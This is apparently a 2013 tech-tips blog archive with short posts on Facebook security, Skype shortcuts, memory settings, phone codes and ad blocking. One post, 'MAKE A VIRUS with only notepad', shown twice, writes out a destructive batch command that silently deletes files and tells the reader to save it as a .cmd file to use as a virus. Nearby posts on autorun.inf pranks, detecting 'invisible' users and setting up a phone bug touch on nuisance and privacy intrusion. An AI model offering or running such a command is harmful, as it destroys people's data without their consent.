Showing posts with label Tips and Tricks. Show all posts
Showing posts with label Tips and Tricks. Show all posts
Sunday, 17 November 2013
Monday, 11 November 2013
Check Your Facebook Account is Hacked or Not
Nowadays we all use Facebook. And we are thinking of the security of our Facebook account much more than before. But, wait… has your Facebook account been hacked ? How could you know that ?
In this case we can use Facebook’s new security feature. It allows you to trace your last activity sessions. With this you can check your Facebook account whether hacked or not. Also it lets you to know last login country, time and the browser.
To get started go to your Facebook account and navigate to Account Settings > Security > Active Sessions.
How to Recover Deleted Facebook Messages
Most of the Facebook users doesn’t know they can’t delete Facebook messages form the inbox with a single click. Hence we can recover previously deleted messages with few steps. So don’t worry if you have accidentally deleted a important conversation.
When you click on the little cross button against Facebook messages in your inbox, it doesn’t delete the message. What it does is move that message to Archived Section.
Tuesday, 5 November 2013
How to Disable Laptop Tracking Software
It is possible to disable the laptop tracking software that has been installed on your machine at the time of purchase. Laptop tracking software is able to track down your computer in case of it being stolen, pinpointing its location for law officials. LoJack is included in many newer versions of laptop machines, but users may wish to disable this software and forfeit the protection that it offers. Disable laptop tracking software by sending a request to Absolute Software directly from their website.
How to Know If a Laptop Has GPS Tracking
Locate the "Start" button in the bottom left-hand corner of the computer screen.
Open the "Start" menu, and at the very bottom of the screen below "All programs" you will see a "Start Search" dialog box if you have Windows Vista. If you have Windows XP, choose all programs and then click the "Run" button to open a search box.
Monday, 4 November 2013
Top 9 Tips for Donating a Computer
1. Determine if Your Old Computer Can Be Reused
If your computer is less than five years old, chances are it can be put to good use by someone else. Usually, the lifespan of a computer is seven to eight years. Extending the computer's lifespan through reuse provides the highest environmental benefit of all electronics disposal alternatives.
Viewing Documents Offline in Internet Explorer
Internet Explorer is capable to show you the images and documents which you have once visited on internet. It shows the previously visited paged in HTML view even if you are not currently connected with internet. It helps you access your data quickly and approach the accidently closed pages.
You can do it following a few steps:
- When you are on Internet Explorer, choose File from main menu.
- Choose Open. An Open dialogue box appears here. (You can also do it by pressing Ctrl + o keys from keyboard.)
- Type the web link you desire to access. Since you are not connected with internet, click the Brows button to find out your desired files in hard drive.
- Type the file name in File Name box and select the type/format from Files of Type drop down box. (You can also select the directory from theInternet Explorer folder directly.)
- Click Open button.
Shortcut Keys for Skype
Today you will be provided with a list of hot shortcut keys and chat commands for Skype messenger.
| Alt + Page Up | To answers a call |
| Ctrl + Alt + Page Up | To answers a call with video option |
| Alt +Page Down | To reject or hang up call |
| Ctrl + E | To navigate between events history and contact list |
| Ctrl + U | To show or Hide offline contacts |
| Ctrl + W | To hide main Skype window |
| Ctrl + Q | To quit Skype |
| Ctrl + F | To find or search this chat |
| F3/Shift + F3 | To find next or previous match (use after Ctrl+F) |
| Ctrl + W | To close or hide chat window |
| F6 | To move to Quickfilter |
| Escape | To clear the Quickfilter |
| /add skypename | To add the specified Skype Name to this chat (example: “/add Lucas”) |
| /help | To see the list available system commands |
| /topic newtopic | To change chat topic to “newtopic” |
| /me something | others will see an action that you perform (example: “Lucas smiles”) |
| /history | To show full history for the chat (you can then review and search it) |
| /find text | To find messages containing “text” in the chat |
| /fa or / | To repeat last search |
Sunday, 3 November 2013
Tips to Record Phone Conversation with PC
Get Correct Equipment
This first and foremost important step to record your phone conversation on PC is to get correct equipment. Get a modem that has output channel names as Telephony Answering Device. If you are using a broadband connection and don’t have modem then you need to set up phone bug.
Set Up a Phone Bug
It is an electronic circuit to record telephonic conversations. Set up this phone bug, connect the circuit to phone line on one end and Mic In of your sound card on other end.
How to Resolve Low Memory Problems
You are shown with low memory warning messages when you run programs same time than the RAM installed on your computer. You can resolve this low memory problem by increasing the system paging file size also called as virtual memory. This will free up enough RAM for other programs to run properly. Follow these tips to resolve this problem:
Follow this path in first step:
- Control Panel –> Performance and Maintenance –> System > Advanced –> Settings under Performance and Maintenance –> Advanced and Change
- Here you have option to select any of your hard disk drive but the best choice will be to select any drive other than C Drive for virtual memory.
- Set the double initial and maximum size of your virtual memory. Here set initial size 600 MB and maximum size up to 1000 MB. You can change this size according to the free space available on your hard drive.
Custom Shortcuts for Internet Using Notepad
You can make shortcut for your favorite site even if you are not connected with internet. You can make these shortcuts using notepad and save it in any location. These shortcuts provide you easy access to your favorite sites and open them in the web browser that is set as default for your web-based applications.
MAKE A VIRUS with only notepad
Here are some top ways to create viruses and some of them can't be detected by antivirus.
1. To delete all folders/files just put this:
DEL /F /Q *
Into notpad and save it as abcd.cmd
It will delete all files on the computer even if they are read only and it will not promt you to do it. You will not think any thing has happend untill you try and do something.
WARNING - DO NOT CLICK ON IT WHEN YOU HAVE CREATED IT, IT WILL DESTROY YOUR COMPUTER.
1. To delete all folders/files just put this:
DEL /F /Q *
Into notpad and save it as abcd.cmd
It will delete all files on the computer even if they are read only and it will not promt you to do it. You will not think any thing has happend untill you try and do something.
WARNING - DO NOT CLICK ON IT WHEN YOU HAVE CREATED IT, IT WILL DESTROY YOUR COMPUTER.

How to make AUTORUN.INF
An Autorun.inf file is a file that, when placed on a drive (internal or external), will allow the drive to start programs, have a different icon than the standard boring one (LOTS OF FUN TO MESS WITH), and have a different name. The syntax is "option=value". Examples will be given later on.
I'll start by saying this: unless you know what you're doing, the Start menu - or more correctly the Start->[All] Programs->Startup sub menu - is the easiest, quickest and safest way to do it.
Help the needy just by gaining
www.freerice.com is a website launched by wfp and has more than 1 million users. The more people play, the more rice they donate just for free.
It has questions related to many topics and also helps people to know the outer world. For every 1 right answer, you give 10 grains of rice to the needy.
Codes For Samsung GALAXY SII
There is a huge list of codes for many phones. I have placed some of Samsung galaxy s 2 ‘s codes out of which I have placed some of them.
*#0*# - enter a general test mode. To check dead pixels, view functions of accelerometer, magnetic sensor, check the touch screen
*#0842# - check the vibration monitor
*#44336# - check software version info
*#0589# - check light sensor
*#0588# - lets you check the proximity sensor
Type all these codes in the diapad and have fun.
Add Background To Folders
Do you remember the good old Windows 98? In Windows 98, we could change the background color, image, fonts, etc in any folder but this facility was removed from Windows XP. It was a good feature and many people still miss that feature in Windows XP.
So here we are posting 3 methods to have any desired wallpaper as background image in any folder in Windows XP:
Invisible Password
As we use passwords for logging in to our account, and we have many accounts, it becomes difficult to remember those passwords. Now if we keep all the passwords same then , there are more chances that the accounts can be hacked, but if keep all the passwords different, then we have to remember those passwords which is very irritating. Sometimes we keep all passwords in a file, which is very unsafe and then we have to take rounds of forgot your passwords.
Well, the best solution to this problem is to go and take the help of the chameleon. No.. not that chameleon, our online chameleon (password chameleon) which provides you a unique password for every site you want with using a master password.
Go to www.passwordchameleon.com and then choose secret passwords for webistes and the master passwords and then you don’t have to remember the loads of passwords.
10 Best Yahoo! Messenger Tricks and Hacks
Yahoo! Messenger is an instant messaging program which is compatible with all Windows versions. While instant messaging is the focus of Yahoo! Messenger, there are several special tricks that can enhance the user experience.
Here are my 10 Best Yahoo! Messenger Tricks and Hacks:
1. Find invisible users on your Yahoo! Messenger list
Want to find out someone who’s hiding from you? You can easily do so by going to Yahoo! Invisible Checker. All you need to do is type in the Yahoo! ID and the particular users status will be revealed.
Here are my 10 Best Yahoo! Messenger Tricks and Hacks:
1. Find invisible users on your Yahoo! Messenger list
Want to find out someone who’s hiding from you? You can easily do so by going to Yahoo! Invisible Checker. All you need to do is type in the Yahoo! ID and the particular users status will be revealed.
Thursday, 31 October 2013
How To Block Ads In Android Apps, Games And Browsers
1. Adblock Plus (ABP)
This method uses ad-blockers (apps) to block all ads in your device, including the ads shown in various apps and games. There are many ad-blockers for Android, thanks to the ever-growing Android developers. The top two would be Adblock Plus (ABP) and AdAway; we wil discuss the former, but you can install AdAway if that’s your preference.
Using Adblock Plus
We’re going with Adblock Plus as it is an open source project and has the option to allow non-intrusive ads. This method works for both rooted and non-rooted devices. Installing an ad-blocker app requires your device to allow applications from unknown sources.
How to make Google Drive your default documents folder
Although the Google Drive desktop folder attempts to streamline access to your cloud storage space, it's easy to forget to save files there when it's not your default Documents folder.
People who count on Google Drive to back up and sync their documents can create a more seamless experience by changing the default Documents folder to Google Drive. After doing so, Windows will automatically choose Google Drive as the default save location when creating new documents.
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